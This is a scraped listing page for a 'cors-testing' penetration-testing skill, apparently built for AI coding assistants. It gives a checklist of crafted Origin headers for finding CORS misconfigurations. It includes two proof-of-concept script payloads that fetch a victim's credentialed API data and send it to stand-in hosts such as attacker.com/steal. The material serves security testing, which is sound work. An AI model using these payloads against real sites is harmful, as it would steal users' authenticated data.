一键导入
cors-testing
CORS misconfiguration testing for data theft and access control bypass
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
CORS misconfiguration testing for data theft and access control bypass
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
| name | cors-testing |
| description | CORS misconfiguration testing for data theft and access control bypass |
| origin | RedteamOpencode |
Access-Control-Allow-Origin headerrun_tool curl (send crafted Origin headers)Access-Control-Allow-Origin, Access-Control-Allow-CredentialsAccess-Control-Allow-Methods and Access-Control-Allow-HeadersOrigin: https://evil.com → does response reflect it in ACAO?Origin: https://evil.com + Access-Control-Allow-Credentials: true = CriticalOrigin: null → check if Access-Control-Allow-Origin: nulldata: URIs, local files<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch('https://target/api/me',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker/log?'+JSON.stringify(d)))</script>">Origin: https://sub.target.com — subdomain trustOrigin: https://target.com.evil.com — suffix match flawOrigin: https://eviltarget.com — prefix match flawOrigin: https://target.com.evil.com — regex bypassOrigin: https://target.com%60.evil.com — encoded charactersAccess-Control-Allow-Origin: * — public access (lower severity)* with Access-Control-Allow-Credentials: true — browsers block this, but checktext/plain to avoid preflighthtml <script> fetch('https://target.com/api/sensitive-data', { credentials: 'include' }) .then(r => r.json()) .then(data => { fetch('https://attacker.com/steal?d=' + btoa(JSON.stringify(data))); }); </script> Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies